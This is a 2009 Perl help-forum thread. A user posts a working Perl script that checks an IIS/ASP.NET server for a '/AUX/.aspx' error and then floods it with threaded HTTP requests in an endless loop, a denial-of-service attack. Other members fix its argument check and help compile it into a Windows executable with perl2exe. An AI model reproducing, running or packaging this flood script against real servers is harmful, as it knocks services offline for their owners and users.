CGI/Perl Guide | Learning Center | Forums | Advertise | Login
Site Search: in

  Main Index MAIN
INDEX
Search Posts SEARCH
POSTS
Who's Online WHO'S
ONLINE
Log in LOG
IN

Home: Perl Programming Help: Beginner:
Compiling and running perl script in windows

 



Chucklz1515
Novice

Aug 19, 2009, 11:25 AM

Post #1 of 21 (2664 views)
Compiling and running perl script in windows Can't Post

Hi all, I'm new here (I registered 5 minutes ago) and I'm having some trouble running this script I got:


Code
use IO::Socket; 
use threads;
if ($ARGV[0] eq "") { exit; }
my $host = $ARGV[0];
$|=1;
sub sendit {
$sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');
print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost: $host\r\nConnection:close\r\n\r\n";
}
$sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');
print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost: $host\r\nConnection:close\r\n\r\n";
$k=0;
while (<$sock>) {
if (($_ =~ /Runtime\sError/) || ($_ =~ /HttpException/)) {
$k=1;
last;
}
}
if ($k==0) {
print "Server does not seem vulnerable to this attack.\n";
exit;
}
print "Server is vulnerable to this attack!\n";
while(1){
for (my $i=0;$i<=100;$i++) {
$thr = threads->new(\&sendit);
print "\r\r\r$i/100 ";
}
foreach $thr (threads->list) {
$thr->join;
}
}


I know what this script is suppose to do, and before you make assumptions please note I'm trying to test my servers security. I'm new to perl but in the process of learning it.

Thanks in advanced - Chucklz1515


Forgot to mention that I get this error when I run from perl (5.10): "Use of uninitialized value $ARGV[0] in string eq at iis.pl line 7."

(This post was edited by Chucklz1515 on Aug 19, 2009, 11:37 AM)


spider
User


Aug 20, 2009, 12:15 AM

Post #2 of 21 (2627 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post

$ARGV[0] is the first input parameter.
The script it trying to handle that by checking for eq "", but this is not valid since when doing this test it is using the variable that might not be there.
try testing with ! defined ($ARGV[0]) instead.


FishMonger
Veteran / Moderator

Aug 20, 2009, 3:43 AM

Post #3 of 21 (2626 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post

Change:
if ($ARGV[0] eq "") { exit; }

To:
exit unless @ARGV;


Chucklz1515
Novice

Aug 20, 2009, 3:32 PM

Post #4 of 21 (2623 views)
Re: [FishMonger] Compiling and running perl script in windows [In reply to] Can't Post

Thanks both of you for your support! FishMonger's solution seems to work. the next thing that i wish to do is compile it to an .exe. I have strawberry perl for windows. I have run the following command for the program:

Code
C:\Strawberry\Perl\Bin>perl -W iis.pl

There are no warnings or errors, but also no .exe files made. Is there a a switch or something I need to add to the command?
____________________________________________________
doin it for teh lulz since mircales were whipped


FishMonger
Veteran / Moderator

Aug 20, 2009, 3:57 PM

Post #5 of 21 (2614 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post

pp - PAR Packager
http://search.cpan.org/~smueller/PAR-Packer-0.991/lib/pp.pm


Code
C:\>perldoc -q "How can I compile my Perl program" 
Found in C:\Perl\lib\pod\perlfaq3.pod
How can I compile my Perl program into byte code or C?
(contributed by brian d foy)

In general, you can't do this. There are some things that may work for
your situation though. People usually ask this question because they
want to distribute their works without giving away the source code, and
most solutions trade disk space for convenience. You probably won't see
much of a speed increase either, since most solutions simply bundle a
Perl interpreter in the final product (but see "How can I make my Perl
program run faster?").

The Perl Archive Toolkit ( http://par.perl.org/index.cgi ) is Perl's
analog to Java's JAR. It's freely available and on CPAN (
http://search.cpan.org/dist/PAR/ ).

The B::* namespace, often called "the Perl compiler", but is really a
way for Perl programs to peek at its innards rather than create
pre-compiled versions of your program. However. the B::Bytecode module
can turn your script into a bytecode format that could be loaded later
by the ByteLoader module and executed as a regular Perl script.

There are also some commercial products that may work for you, although
you have to buy a license for them.

The Perl Dev Kit ( http://www.activestate.com/Products/Perl_Dev_Kit/ )
from ActiveState can "Turn your Perl programs into ready-to-run
executables for HP-UX, Linux, Solaris and Windows."

Perl2Exe ( http://www.indigostar.com/perl2exe.htm ) is a command line
program for converting perl scripts to executable files. It targets both
Windows and unix platforms.



Chucklz1515
Novice

Aug 20, 2009, 4:11 PM

Post #6 of 21 (2612 views)
Re: [FishMonger] Compiling and running perl script in windows [In reply to] Can't Post

Thanks. I tried doing a make and everything. But there is an error:

Code
make[1]: *** [./script/parl.exe] error 2 
make[1]: Leaving directory '/pp/myldr'
make: *** [subdirs] error 2


I also tried that perl2exe program but i got this:

Code
Perl 5.006001 required--this is only version 5.00503, stopped at PERL2EXE_STORAGE/IO/Handle.pm line 5. 
BEGIN failed--compilation aborted at PERL2EXE_STORAGE/IO/Handle.pm line 5.
BEGIN failed--compilation aborted at PERL2EXE_STORAGE/IO/Socket.pm line 7.
BEGIN failed--compilation aborted at iis.pl line 2.

____________________________________________________
doin it for teh lulz since mircales were whipped


KevinR
Veteran


Aug 20, 2009, 4:41 PM

Post #7 of 21 (2601 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post

You need to install a newer version of perl.
-------------------------------------------------


Chucklz1515
Novice

Aug 20, 2009, 4:45 PM

Post #8 of 21 (2599 views)
Re: [KevinR] Compiling and running perl script in windows [In reply to] Can't Post

i have . like i got it a few days ago. version 5.10
____________________________________________________
doin it for teh lulz since mircales were whipped


KevinR
Veteran


Aug 20, 2009, 4:55 PM

Post #9 of 21 (2591 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post

If you are on Windows the best thing to do is completely uninstall old version(s) of perl then install the new version or instead of installing a newer version upgrade the old version, although uninstalling the old version is best for most users. What you can't easily do is have two installs of perl on the same Windows box. It might be possible, but I have never successfully done it myself.
-------------------------------------------------


Chucklz1515
Novice

Aug 20, 2009, 5:01 PM

Post #10 of 21 (2589 views)
Re: [KevinR] Compiling and running perl script in windows [In reply to] Can't Post

funny thing is i do have 2 version on XD. i have cygwin, which im wanting to use for my compilation since im running windows (should really switch to linux if im wanting to do this[or dual boot both windows and linux...]) and i ahve perl on there but i also have perl on my c drive. they are both the same verion of 5.10 and but at different places.
____________________________________________________
doin it for teh lulz since mircales were whipped


KevinR
Veteran


Aug 20, 2009, 5:23 PM

Post #11 of 21 (2576 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post

You may need to try and remove all references to old versions of perl on your Windows box. For some reason it sees perl as 5.005 which to me indicates you have or had perl installed more than once on Windows. I had the same problem a few years back when I tried installing a newer version of perl without uninstalling the old version. It was a mess.
-------------------------------------------------


FishMonger
Veteran / Moderator

Aug 20, 2009, 5:26 PM

Post #12 of 21 (2575 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post

There is no valid reason to have 2 versions of perl on the same Windows box. The compilation problem you're having is caused by the conflicts between the 2 different installations.


Chucklz1515
Novice

Aug 20, 2009, 5:29 PM

Post #13 of 21 (2572 views)
Re: [FishMonger] Compiling and running perl script in windows [In reply to] Can't Post

ok so i removed the strawberry perl (the one on my C: drive). so now when i use perl2exe it should work? and how do i get pp working on cygwin, cause it doesnt like making for some reason
____________________________________________________
doin it for teh lulz since mircales were whipped


KevinR
Veteran


Aug 20, 2009, 5:41 PM

Post #14 of 21 (2564 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post


In Reply To
ok so i removed the strawberry perl (the one on my C: drive). so now when i use perl2exe it should work? and how do i get pp working on cygwin, cause it doesnt like making for some reason


You will have to try and see what happens. We can't tell you if it will work. If you still have the old version of perl on there it will not work. You want to remove the old version 5.005 and install the new version. That's all the help I can be.
-------------------------------------------------


Chucklz1515
Novice

Aug 20, 2009, 5:44 PM

Post #15 of 21 (2563 views)
Re: [KevinR] Compiling and running perl script in windows [In reply to] Can't Post

i never had 5.005. ive had 5.10 from the beginning...
____________________________________________________
doin it for teh lulz since mircales were whipped


FishMonger
Veteran / Moderator

Aug 20, 2009, 5:51 PM

Post #16 of 21 (2561 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post

Please post the output of this command

Code
C:\>perl -V


Exactly which version/build of perl2exe did you install?

My personal preference is to use ActiveState's port of perl and use ppm to install modules.


Chucklz1515
Novice

Aug 20, 2009, 6:29 PM

Post #17 of 21 (2555 views)
Re: [FishMonger] Compiling and running perl script in windows [In reply to] Can't Post

here:

Code
Summary of my perl5 (revision 5 version 10 subversion 0 patch 34065) configurati 
on:
Platform:
osname=cygwin, osvers=1.5.25(0.15642), archname=cygwin-thread-multi-64int
uname='cygwin_nt-5.1 reini 1.5.25(0.15642) 2008-06-12 19:34 i686 cygwin '
config_args='-de -Dmksymlinks -Dusethreads -Dmad=y -Dusedevel'
hint=recommended, useposix=true, d_sigaction=define
useithreads=define, usemultiplicity=define
useperlio=define, d_sfio=undef, uselargefiles=define, usesocks=undef
use64bitint=define, use64bitall=undef, uselongdouble=undef
usemymalloc=y, bincompat5005=undef
Compiler:
cc='gcc', ccflags ='-DPERL_USE_SAFE_PUTENV -U__STRICT_ANSI__ -fno-strict-ali
asing -pipe -I/usr/local/include',
optimize='-O3',
cppflags='-DPERL_USE_SAFE_PUTENV -U__STRICT_ANSI__ -fno-strict-aliasing -pip
e -I/usr/local/include'
ccversion='', gccversion='3.4.4 (cygming special, gdc 0.12, using dmd 0.125)
', gccosandvers=''
intsize=4, longsize=4, ptrsize=4, doublesize=8, byteorder=12345678
d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=12
ivtype='long long', ivsize=8, nvtype='double', nvsize=8, Off_t='off_t', lsee
ksize=8
alignbytes=8, prototype=define
Linker and Libraries:
ld='g++', ldflags =' -Wl,--enable-auto-import -Wl,--export-all-symbols -Wl,-
-stack,8388608 -Wl,--enable-auto-image-base -L/usr/local/lib'
libpth=/usr/local/lib /usr/lib /lib
libs=-lgdbm -ldb -ldl -lcrypt -lgdbm_compat
perllibs=-ldl -lcrypt
libc=/usr/lib/libc.a, so=dll, useshrplib=true, libperl=libperl.a
gnulibc_version=''
Dynamic Linking:
dlsrc=dl_dlopen.xs, dlext=dll, d_dlsymun=undef, ccdlflags=' '
cccdlflags=' ', lddlflags=' --shared -Wl,--enable-auto-import -Wl,--export-
all-symbols -Wl,--stack,8388608 -Wl,--enable-auto-image-base -L/usr/local/lib'


Characteristics of this binary (from libperl):
Compile-time options: MULTIPLICITY MYMALLOC PERL_DONT_CREATE_GVSV
PERL_IMPLICIT_CONTEXT PERL_MAD PERL_MALLOC_WRAP
PERL_USE_SAFE_PUTENV USE_64_BIT_INT USE_ITHREADS
USE_LARGE_FILES USE_PERLIO USE_REENTRANT_API
Locally applied patches:
MAINT34065
CYG11 no-bs
CYG12 no archlib in otherlibdirs
CYG14 Dynaloader
CYG15 static-Win32CORE
Bug#55162 File::Spec::case_tolerant performance
Built under cygwin
Compiled at Jun 30 2008 16:05:15
%ENV:
CYGWIN=""
@INC:
/usr/lib/perl5/5.10/i686-cygwin
/usr/lib/perl5/5.10
/usr/lib/perl5/site_perl/5.10/i686-cygwin
/usr/lib/perl5/site_perl/5.10
/usr/lib/perl5/vendor_perl/5.10/i686-cygwin
/usr/lib/perl5/vendor_perl/5.10
/usr/lib/perl5/vendor_perl/5.10
/usr/lib/perl5/site_perl/5.8
/usr/lib/perl5/vendor_perl/5.8
.


and im using perl2exe v9.100B on 14th march of 2008 (says for perl version 5.10)
____________________________________________________
doin it for teh lulz since mircales were whipped


FishMonger
Veteran / Moderator

Aug 20, 2009, 8:21 PM

Post #18 of 21 (2543 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post

It appears to me that perl2exe is not compatible with cygwin. If you look at indigostar's stated Windowws system requirements for Perl 5.10, it says to use ActivePerl.

http://www.indigostar.com/perl2exe.htm#Requirements

For a more authoritative answer to that possibility, you may want to post a question on forum dedicated to perl2exe or cygwin.

My personal recommendation would be to uninstall the cygwin perl port and install ActivePerl, which is known to be compatible with perl2exe.

With ActivePerl, you also have the option of either using ppm to install modules or build/install them manually from source.


Chucklz1515
Novice

Aug 20, 2009, 9:02 PM

Post #19 of 21 (2541 views)
Re: [FishMonger] Compiling and running perl script in windows [In reply to] Can't Post

I have now installed active perl and tried again. it says:

The application or DLL C:\DOCUME~1\Chucklz\LOCALS~1\Temp\p2x560.dll is not a valid Windows image. Please check this against your installation diskette.

any suggestions?
____________________________________________________
doin it for teh lulz since mircales were whipped


FishMonger
Veteran / Moderator

Aug 21, 2009, 2:32 AM

Post #20 of 21 (2532 views)
Re: [Chucklz1515] Compiling and running perl script in windows [In reply to] Can't Post

What did you try again, installing something or compiling something?

To me, the error suggests that you're trying to install something, because once an application is installed, it doesn't go to your profile temp dir to access a dll, it goes to the installation directory.


Chucklz1515
Novice

Aug 21, 2009, 8:28 AM

Post #21 of 21 (2529 views)
Re: [FishMonger] Compiling and running perl script in windows [In reply to] Can't Post

ive tried compiling. it compiles fine, but when i run the .exe is when it gives me the error message. strange...ive never gotten a message like that before


update: nevermind, i had the directory of perl2exe not in perls directory. it compiled fine and ran fine

thanks to everyone for their help! Smile
____________________________________________________
doin it for teh lulz since mircales were whipped

(This post was edited by Chucklz1515 on Aug 21, 2009, 9:16 AM)

 
 


Search for (options) Powered by Gossamer Forum v.1.2.0

Web Applications & Managed Hosting Powered by Gossamer Threads
Visit our Mailing List Archives